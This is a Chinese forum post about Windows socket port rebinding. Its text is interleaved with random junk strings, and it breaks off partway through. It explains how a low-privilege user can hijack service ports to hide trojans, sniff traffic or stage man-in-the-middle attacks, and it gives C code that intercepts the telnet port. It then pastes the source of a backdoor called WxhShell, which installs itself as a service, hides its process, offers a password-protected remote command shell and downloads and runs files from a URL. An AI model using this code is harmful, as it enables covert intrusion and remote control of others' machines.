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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bqXCe\#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $SQ8,Y,  
bN$!G9I!,  
  saddr.sin_family = AF_INET; BHE((3  
a<%WFix  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 28;D>6c  
_$me.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }*~EA=YN;  
)K8k3]y&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5O Ob(  
4-4lh TE(  
  这意味着什么?意味着可以进行如下的攻击: C^S?W=1=w  
\*H/YByTb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dF{3 ~0+,  
HM])m>KeT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JrTSu`S('  
,uD F#xjl,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0KyujU?sF  
A / N$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qwu++9BM  
aXyu%<@k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *hAeA+:  
G qI^$5?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2hV#3i  
,@=qaU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 O~g _rcG  
Tv<iHHp  
  #include dhN[\Z%  
  #include Ru Q\H0pr  
  #include K,[g<7X5  
  #include    2*Uwp; 0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O`O{n_o^u  
  int main() f- pt8  
  { :<=!v5 SK  
  WORD wVersionRequested; X-! yi  
  DWORD ret; ~1pJQ)!zlq  
  WSADATA wsaData; 0\g;^Zpi  
  BOOL val; e_+`%A+-  
  SOCKADDR_IN saddr; 4:8#&eF  
  SOCKADDR_IN scaddr; _=jc%@]1y  
  int err; hi>Ii2T  
  SOCKET s; e| (jv<~r  
  SOCKET sc; y UQ;tTI  
  int caddsize; GBvB0kC)c  
  HANDLE mt; =YBwO. !%  
  DWORD tid;   5M{N-L_eC  
  wVersionRequested = MAKEWORD( 2, 2 ); ics  
  err = WSAStartup( wVersionRequested, &wsaData ); ]nN']?{7PW  
  if ( err != 0 ) { +~=>72/r  
  printf("error!WSAStartup failed!\n"); p 8BAan3  
  return -1; g# :|Mjgh  
  } {a9Z<P  
  saddr.sin_family = AF_INET; Q;{yIa$ $  
   !o*BRR*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6)P~3 C'  
!&TbE@Xk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U KF/v  
  saddr.sin_port = htons(23); :Tw3Oo_~S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gh}FZs5 P  
  { ^aDos9SyV  
  printf("error!socket failed!\n"); gLQWL}0O  
  return -1; "uCx.Q9 ef  
  } T1;yw1/m5\  
  val = TRUE; B_M)<Ad  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .G1NY1\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bK; -Xcm  
  { Z;XR%n8  
  printf("error!setsockopt failed!\n"); dY/=-ymW  
  return -1; Giz9jzF \  
  } *#Hi W)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fyx-VXu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TQ" [2cY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AynWs5|z=  
Es zwg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8[,,Kr)-  
  { bOux8OHt*  
  ret=GetLastError(); oo3ZYA  
  printf("error!bind failed!\n"); $}l0Nh'Eu  
  return -1; jDcE_55o  
  } b ,7:=-D  
  listen(s,2); jgYUS@}  
  while(1) p*W4^2(d  
  { u.0Z)j}N  
  caddsize = sizeof(scaddr); {gl-tRC3  
  //接受连接请求 @.T'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J$&!Y[0  
  if(sc!=INVALID_SOCKET) ]1%H.pF  
  { Ka2U@fK"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `8\pihww  
  if(mt==NULL) @fT*fv   
  { p{!aRB%  
  printf("Thread Creat Failed!\n"); Vlce^\s;  
  break; (iGk]Rtzt  
  } 5|x FY/%  
  } G-Z_pGer^  
  CloseHandle(mt); 9+9}^B5@A  
  } '/b,3:  
  closesocket(s); dnNC = siY  
  WSACleanup(); #@Zz Bf  
  return 0; B[C2uVEX:  
  }   G?e,Q$  
  DWORD WINAPI ClientThread(LPVOID lpParam) q+dY&4&u  
  { 6,uW{l8L  
  SOCKET ss = (SOCKET)lpParam; s[h'W~  
  SOCKET sc; -n!.PsGO>  
  unsigned char buf[4096]; }0?642 =-  
  SOCKADDR_IN saddr; +KDB^{  
  long num; <|Bh;;  
  DWORD val; O9A.WSJ >}  
  DWORD ret; }{:H0)H*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f&H):.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~y_TT5+ 3  
  saddr.sin_family = AF_INET; ~({aj|Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [xk1}D  
  saddr.sin_port = htons(23); @8|-  C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Z6] ];8E  
  { QgEG%YqB  
  printf("error!socket failed!\n"); bL!NT}y`  
  return -1; #; E,>0  
  } jIZQ/xp8_  
  val = 100; !V Zl<|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nmc=RK^cM  
  { :De}5BMy  
  ret = GetLastError(); Z5[ t/  
  return -1; 4Me*QYD  
  } % &4sHDP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q)C#)|S  
  { @;fdf3ian  
  ret = GetLastError(); ov#/v\|0  
  return -1; 5ts8o&|   
  } XkCbdb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d'kQE_y2.  
  { tu6c!o,@  
  printf("error!socket connect failed!\n"); 7}%3Aw6]S  
  closesocket(sc); ^g~Asz5]  
  closesocket(ss); -}MWA>an8  
  return -1; C:_!zY'z  
  } 4B<D.i ;}  
  while(1) K4N~ApLB+  
  { r=s ,Ath  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oA"t`,3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4NQS'*%D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E4HG`_cWb  
  num = recv(ss,buf,4096,0); u\ytiGO*  
  if(num>0) t=~al8  
  send(sc,buf,num,0); J Q%e'  
  else if(num==0) 6t *pV [  
  break; -/B}XN W  
  num = recv(sc,buf,4096,0); CP|N2rb  
  if(num>0) lK9us  
  send(ss,buf,num,0); $[VKM|Zjw  
  else if(num==0) ><TuL7+  
  break; c|:H/Y2n|  
  } MH?|>6  
  closesocket(ss); SvAz9>N4  
  closesocket(sc); :'f#0ox  
  return 0 ; aa.EtKl  
  } l\ts!p4f$  
hp%|n:.G  
j S')!Wcu  
========================================================== =KmjCz:  
68*h#&  
下边附上一个代码,,WXhSHELL -G(z!ed  
+su>0'a  
========================================================== <3LyNG.  
KU"? ZI  
#include "stdafx.h" y!1%Kqx1,n  
s)_7*DY  
#include <stdio.h> ]V<[W,*(5  
#include <string.h> uwyzxj  
#include <windows.h> Ii,e=RG>  
#include <winsock2.h> {|^9y]VFu  
#include <winsvc.h> x5WFPY$wM  
#include <urlmon.h> I6M 7xn  
Z$k4T$,[-  
#pragma comment (lib, "Ws2_32.lib") :tedtV ~  
#pragma comment (lib, "urlmon.lib") ^p|MkB?uM  
FdKp@&O+1  
#define MAX_USER   100 // 最大客户端连接数 245(ajxHC  
#define BUF_SOCK   200 // sock buffer bkceR>h%  
#define KEY_BUFF   255 // 输入 buffer &0It"17Ej  
@7" xDgA  
#define REBOOT     0   // 重启 eq<xO28z  
#define SHUTDOWN   1   // 关机 "k)( ,  
mF%>pj&b  
#define DEF_PORT   5000 // 监听端口 tU}CRh  
`D>PU@s$nT  
#define REG_LEN     16   // 注册表键长度 0X~   
#define SVC_LEN     80   // NT服务名长度 TixH Ehw  
$`i$/FE  
// 从dll定义API b~Y$!fc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fk5!/>X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R KFz6t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W7WHH \L/O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oR[,?qu@f  
ipQJn_:2  
// wxhshell配置信息 #y&3`Nz3  
struct WSCFG { j_L 'Ztu3  
  int ws_port;         // 监听端口 k*J}/HO  
  char ws_passstr[REG_LEN]; // 口令 D}SRr,4v  
  int ws_autoins;       // 安装标记, 1=yes 0=no >e/;  
  char ws_regname[REG_LEN]; // 注册表键名 Cj _Q9/  
  char ws_svcname[REG_LEN]; // 服务名 2wlrei  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z. VuY3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IU{~{(p"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T@U_;v|rf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sw[1T_S>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L oe!@c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o*_[3{FU  
^ W eE%"  
}; W|NzdxCY  
X)e6Y{vO  
// default Wxhshell configuration f+}? $'  
struct WSCFG wscfg={DEF_PORT, 6;dQ#wmg  
    "xuhuanlingzhe", `l9Pk\X[  
    1, s_hf,QH  
    "Wxhshell", U?[a@Hj{  
    "Wxhshell", }W#Gf.$6C  
            "WxhShell Service", 05g U~6AF  
    "Wrsky Windows CmdShell Service", D(Pd?iQIO  
    "Please Input Your Password: ", MG*#-<OV.  
  1, ^+F@KXn L  
  "http://www.wrsky.com/wxhshell.exe", we4e>)  
  "Wxhshell.exe" 8Focs p2  
    }; X-|`|>3E  
)TP 1i  
// 消息定义模块 -;a}'1HOE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [<}:b>a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x>A(016:C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /1zi(z   
char *msg_ws_ext="\n\rExit."; .5p"o-:D  
char *msg_ws_end="\n\rQuit."; MH.,dB&  
char *msg_ws_boot="\n\rReboot..."; R 3TdQ6j  
char *msg_ws_poff="\n\rShutdown..."; 7Y&W^]UZ0t  
char *msg_ws_down="\n\rSave to "; Y#{ L}  
T\:Vu{|  
char *msg_ws_err="\n\rErr!"; rZLTai}`>  
char *msg_ws_ok="\n\rOK!"; Y/2@PzA|  
Wrf('  
char ExeFile[MAX_PATH]; KqG:o+V=  
int nUser = 0; WNrgqyM  
HANDLE handles[MAX_USER]; XpJT/&4  
int OsIsNt; b/:9^&z  
v?,_SVgAi  
SERVICE_STATUS       serviceStatus; fJBp,{0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yd$_XW p?\  
a}|B[b  
// 函数声明 R+Dx#Wn I  
int Install(void); hD/bgquT  
int Uninstall(void); Z*tB=  
int DownloadFile(char *sURL, SOCKET wsh); 3Wa^:8N  
int Boot(int flag); !o+#T==p  
void HideProc(void); [w' Y3U\ i  
int GetOsVer(void); ry\Nm[SQ  
int Wxhshell(SOCKET wsl); 7;:R\d6iL  
void TalkWithClient(void *cs); &|'1.^f@;E  
int CmdShell(SOCKET sock); #K.OJJaG  
int StartFromService(void); 12U1DEd>-  
int StartWxhshell(LPSTR lpCmdLine); 0k>bsn/ j  
X!ZUR^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  qa)X\0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )cJ9YKKy  
*v 1hMk  
// 数据结构和表定义 u27K 0}  
SERVICE_TABLE_ENTRY DispatchTable[] = +)k%jIi!  
{ =e=sK'NvD  
{wscfg.ws_svcname, NTServiceMain}, ]dHU  
{NULL, NULL} .t*MGUg  
}; ekND>Qjj  
8iaP(*J  
// 自我安装 y!&6"l$K]  
int Install(void) X,y0 J  
{ qF C0$:z&  
  char svExeFile[MAX_PATH]; .|^L\L(!  
  HKEY key; 1v)ur\>R  
  strcpy(svExeFile,ExeFile); m^Qc9s#D  
\2KwF}[m  
// 如果是win9x系统,修改注册表设为自启动 &\#If:  
if(!OsIsNt) { I(y:Td  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ShbW[*5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V]dzKNFi  
  RegCloseKey(key); Clr~:2g\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?9'Ukw` g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); = &jLwy  
  RegCloseKey(key); =Y Je\745  
  return 0; L}5nq@Uu)  
    } .xo#rt9_"=  
  } LfOXgn\  
} !LB#K?I  
else { Opx"'HC@G  
OPOL-2<wiy  
// 如果是NT以上系统,安装为系统服务 >Vc;s !R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I!>pHF4  
if (schSCManager!=0) qIIc>By(\"  
{ g\^7Q  
  SC_HANDLE schService = CreateService "i0{E!,XL  
  ( MWTzJGRT  
  schSCManager, = i9|lU"Va  
  wscfg.ws_svcname, (Qq;ySZ#  
  wscfg.ws_svcdisp, P7np -I*  
  SERVICE_ALL_ACCESS, x8 :  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bwN>E+  
  SERVICE_AUTO_START, fGS5{dti  
  SERVICE_ERROR_NORMAL, p?F%a;V3  
  svExeFile, 5q4sxY9T  
  NULL, WX<),u2@  
  NULL, :j feY  
  NULL, _]zm02|  
  NULL, ;%wQnhg  
  NULL *%'nlAX6%  
  ); _=l8e-6r  
  if (schService!=0) 3"afrA  
  { 12r]"?@|s  
  CloseServiceHandle(schService); |:)UNb?R"O  
  CloseServiceHandle(schSCManager); 1 ? be  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sg0HYb%_E  
  strcat(svExeFile,wscfg.ws_svcname); OwRH :l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7HfA{.|m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L *",4!  
  RegCloseKey(key); ${fJ]  
  return 0; o&WKk5$  
    } (Klvctoy  
  } =, kH(rp2  
  CloseServiceHandle(schSCManager); Z ,4G'[d  
} Q|T9 tc->  
} bz$)@gLc  
N;N,5rxV  
return 1; 4FLL*LCNX  
} (NB\wJg $  
)/uu~9SFd  
// 自我卸载 fbv%&z  
int Uninstall(void) \ k&(D*u  
{ j !m42  
  HKEY key; >Vp #   
A_nu:K-  
if(!OsIsNt) { jiAKV0lX W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RC{|:@]8  
  RegDeleteValue(key,wscfg.ws_regname); y*K]z  
  RegCloseKey(key); hf#[Vns  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Iq#Q3w  
  RegDeleteValue(key,wscfg.ws_regname);  3"B$M  
  RegCloseKey(key); oW7\T !f  
  return 0; &4]~s:F  
  } lJ y\Ky(*  
} A\xvzs.d  
} 8<#S:O4kA  
else { oY;=$8y<q  
b@9>1d$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $ /Rr|<  
if (schSCManager!=0) L`"B;a&  
{ slPLc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t^ax:6;"|  
  if (schService!=0)  a@mMa {  
  { %v)m&VUi%  
  if(DeleteService(schService)!=0) { $K-od3h4=  
  CloseServiceHandle(schService); r*Iu6  
  CloseServiceHandle(schSCManager); g+ZQ6Hz  
  return 0; 4\Nt"#U)g  
  } Cx,)$!1  
  CloseServiceHandle(schService); dJ/(u&N  
  } zI$24L9*  
  CloseServiceHandle(schSCManager); &n 1 \^:  
} hlIh(\JZ4s  
} ~:Pu Kx  
?U^h:n  
return 1; fwWE`BB  
} j)A$%xUo  
{Kdr-aC  
// 从指定url下载文件 vBRW5@  
int DownloadFile(char *sURL, SOCKET wsh) s"jNS1B  
{ Rq,ST:  
  HRESULT hr; RCCI}ovU  
char seps[]= "/"; ccCe@1RI  
char *token; R\VM6>SN'S  
char *file; j4C{yk  
char myURL[MAX_PATH]; *d%U]Hby,  
char myFILE[MAX_PATH]; kuEB  
ZA;VA=)\8  
strcpy(myURL,sURL); W'0(0;+G/j  
  token=strtok(myURL,seps); X!'nfN  
  while(token!=NULL) Adyv>T9  
  { $d[ -feU  
    file=token; WZ#|?pJ  
  token=strtok(NULL,seps); sPKyg  
  } moe5H  
N3C 8%  
GetCurrentDirectory(MAX_PATH,myFILE); J3;dRW  
strcat(myFILE, "\\"); w =MZi=p  
strcat(myFILE, file); (";{@a %  
  send(wsh,myFILE,strlen(myFILE),0); d7O\p(M1  
send(wsh,"...",3,0); Gb?O-z%8*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $IdY(f:.:5  
  if(hr==S_OK) wlY6h4c  
return 0; E\ 'X|/$a  
else ab5uZ0@  
return 1; =2BB ~\G+  
JsA9Xdk`  
} 0lyCk }c  
HJV8P2f8`  
// 系统电源模块 QqS?-   
int Boot(int flag) "-tTN  
{ P@RUopu,i  
  HANDLE hToken; lMcSe8LBQa  
  TOKEN_PRIVILEGES tkp; r]0UF0#  
[u=DAk?8  
  if(OsIsNt) { K9BoIHo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TAXl73j_CY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~582'-=+  
    tkp.PrivilegeCount = 1; KPT@I3P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'yq'J)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I,0]> kx  
if(flag==REBOOT) { &R'%OFi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TLkJZ4}?Q  
  return 0; %s#`i$|z*n  
} >Za66<:  
else { qL\*rYe<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HJ\CGYmyz  
  return 0; 2k^dxk~$V;  
} f%1Dn}6  
  } rX8EXraO  
  else { ilyQ gEjC  
if(flag==REBOOT) { UpA{$@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1f.xZgO/2  
  return 0; o4Bl!7U  
} Vu6p l  
else { ,Cj8{s&;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l5jW`cl1  
  return 0; v7l4g&  
} }PR^Dj.  
} (\^)@Y  
Gn ]%'lrg'  
return 1; fGv`.T_d  
} ItoSORVV  
HxVQeyOR  
// win9x进程隐藏模块 })l+-H"  
void HideProc(void) yk5T"# '+  
{ }UzO_&Z#6  
,u,]ab  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $LPu_FJ  
  if ( hKernel != NULL ) MI!JZI$z5  
  { FZ)Y<r8|s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7{vnhl(Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @QAyXwp  
    FreeLibrary(hKernel); ; md{T'  
  } 9u'hCi(  
3,K*r"=  
return; F7(~v2|  
} lRn6Zh  
P80z@!  
// 获取操作系统版本 n},~2  
int GetOsVer(void) n9zS'VU  
{ 6g ,U+~  
  OSVERSIONINFO winfo; $Xlyc.8YId  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r|Y|u v0  
  GetVersionEx(&winfo); tk^1Ga3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /WDz;,X  
  return 1; cZRLYOC  
  else RRD\V3C84  
  return 0; ^"w.v' sL  
} ;z9(  
NVnKgGlHgd  
// 客户端句柄模块 /HNZwbh]uJ  
int Wxhshell(SOCKET wsl) "9[K  
{ >4d2IO1\  
  SOCKET wsh; MwxfTH"wi  
  struct sockaddr_in client; z]k=sk  
  DWORD myID; Ne]/ sQ0  
; y#6Nx,:  
  while(nUser<MAX_USER) 6TE R Q  
{ cJ&e^$:Er  
  int nSize=sizeof(client); %*.;3;m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @o+T<}kWX  
  if(wsh==INVALID_SOCKET) return 1; SnbH`\U"  
(k"oV>a|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _"Q +G@@  
if(handles[nUser]==0) DytOS}/^9  
  closesocket(wsh); Z6&s 6MF  
else =+{.I,g}g@  
  nUser++; tUq* -9 V  
  } ZkYc9!anY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >GiM?*cC  
?6    
  return 0; #K7i<Bf  
} !MB%  
k=[!{I  
// 关闭 socket -[#Mx}%  
void CloseIt(SOCKET wsh) vd-`?/,||  
{ k@5,6s:  
closesocket(wsh); NDB]8C  
nUser--; yZ,k8TJ",  
ExitThread(0); Y#PbC  
} ,{c9Lv%@J  
#VC^><)3  
// 客户端请求句柄 (ju-r*0  
void TalkWithClient(void *cs) RR:m <9l  
{ J+&AtGq]u  
J p .wg  
  SOCKET wsh=(SOCKET)cs; CF^7 {g(y_  
  char pwd[SVC_LEN]; -8tWc]c |4  
  char cmd[KEY_BUFF]; q*A2>0O  
char chr[1]; \%NhggS*  
int i,j; nJ4h9`[>V  
4j!MjlG$  
  while (nUser < MAX_USER) { ?9i7+Y"  
$B4}('&4FQ  
if(wscfg.ws_passstr) { ,"PwNv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iQ-;0<=G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n?pCMS|  
  //ZeroMemory(pwd,KEY_BUFF); wC BL1[~C  
      i=0; UTUIL D  
  while(i<SVC_LEN) { }se)=7d8 Z  
#hd<5+$U}l  
  // 设置超时 JBE'B Q@  
  fd_set FdRead; /,5`#Gte_  
  struct timeval TimeOut; 2 < &-  
  FD_ZERO(&FdRead); eEn_aX  
  FD_SET(wsh,&FdRead); bm1ngI1oI  
  TimeOut.tv_sec=8; 5v~Y>  
  TimeOut.tv_usec=0; $'X*L e@k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tZa)sbz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B>o\;)l3O  
vD) LRO Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); scqG$~O)  
  pwd=chr[0]; 1q~U3'l:$  
  if(chr[0]==0xd || chr[0]==0xa) { !j4C:L3F  
  pwd=0; "JVz v U]  
  break; D +)6#i Y  
  } S:vv*5  
  i++; )X\.Xr-6q  
    } 5DyN=[b  
c ~YD|l  
  // 如果是非法用户,关闭 socket ^V_acAuS^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v !@/  
} ItKwB+my  
1elcP`N1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2O9dU 5b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R^](X*  
)gR14a  
while(1) { Lj(hk @  
=Mn! [  
  ZeroMemory(cmd,KEY_BUFF); uh#PZ xnP  
P>pkLP} Vo  
      // 自动支持客户端 telnet标准   R_vZh|  
  j=0; ) 0AE*S  
  while(j<KEY_BUFF) { 'QT(TF>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7!oqn'#>A  
  cmd[j]=chr[0]; 4g\a$7 r  
  if(chr[0]==0xa || chr[0]==0xd) { ]vQo^nOo  
  cmd[j]=0; PBn(k>=+  
  break; (fh:q2E#  
  } qR]4m]o  
  j++; B[4y(Im  
    } $'9r=#EH  
DGHX:Ft#  
  // 下载文件 83i%3[L  
  if(strstr(cmd,"http://")) { T,7Y7MzF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f,M$>!$V  
  if(DownloadFile(cmd,wsh)) .&@|)u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {K3\S 0L  
  else O|y-nAZgU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tO[+O=d  
  } GetUCb%1  
  else { nZ\,ZqV  
a' #-%!]  
    switch(cmd[0]) { Q(]-\L'  
  &1Cq+YpI  
  // 帮助 d'[aOH4}  
  case '?': { ;xB"D0~,1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :R_{tQ-WG  
    break; 6-KC[J^Xo  
  } ~O1*]  
  // 安装 N8D'<BUC  
  case 'i': { QwT ]| 6>  
    if(Install()) qZ\zsOnp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "mPa >`?  
    else _\]D<\St  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z(\H.P#  
    break; oSa FmP  
    } 34;c00  
  // 卸载 Ac7`nvI=  
  case 'r': { >D:S)"  
    if(Uninstall()) 6{7O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XIjSwR kYJ  
    else 3:Z(tM&-O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m]"YR_  
    break; C4 Wdt  
    } 3Vw%[+lY9  
  // 显示 wxhshell 所在路径 J1R%w{  
  case 'p': { ]LSa(7>EU  
    char svExeFile[MAX_PATH]; 29qQ3M?  
    strcpy(svExeFile,"\n\r"); uqQMS&;+,|  
      strcat(svExeFile,ExeFile); iBo-ANnK9  
        send(wsh,svExeFile,strlen(svExeFile),0); Uw&+zJ  
    break; <q[ *kr  
    } 'E&K%/d  
  // 重启 ~:t2@z4p  
  case 'b': { &PgdCijGq;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  v$tS 2N2  
    if(Boot(REBOOT)) cF(9[8c{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4tuEC-oh  
    else { M9&tys[KX  
    closesocket(wsh); ~ml\|  
    ExitThread(0); FwW%@Y  
    } \pzvoj7{  
    break; %BG5[ XQ7  
    } xrX("ili  
  // 关机 O4E2)N  
  case 'd': { |@ldXuYb  
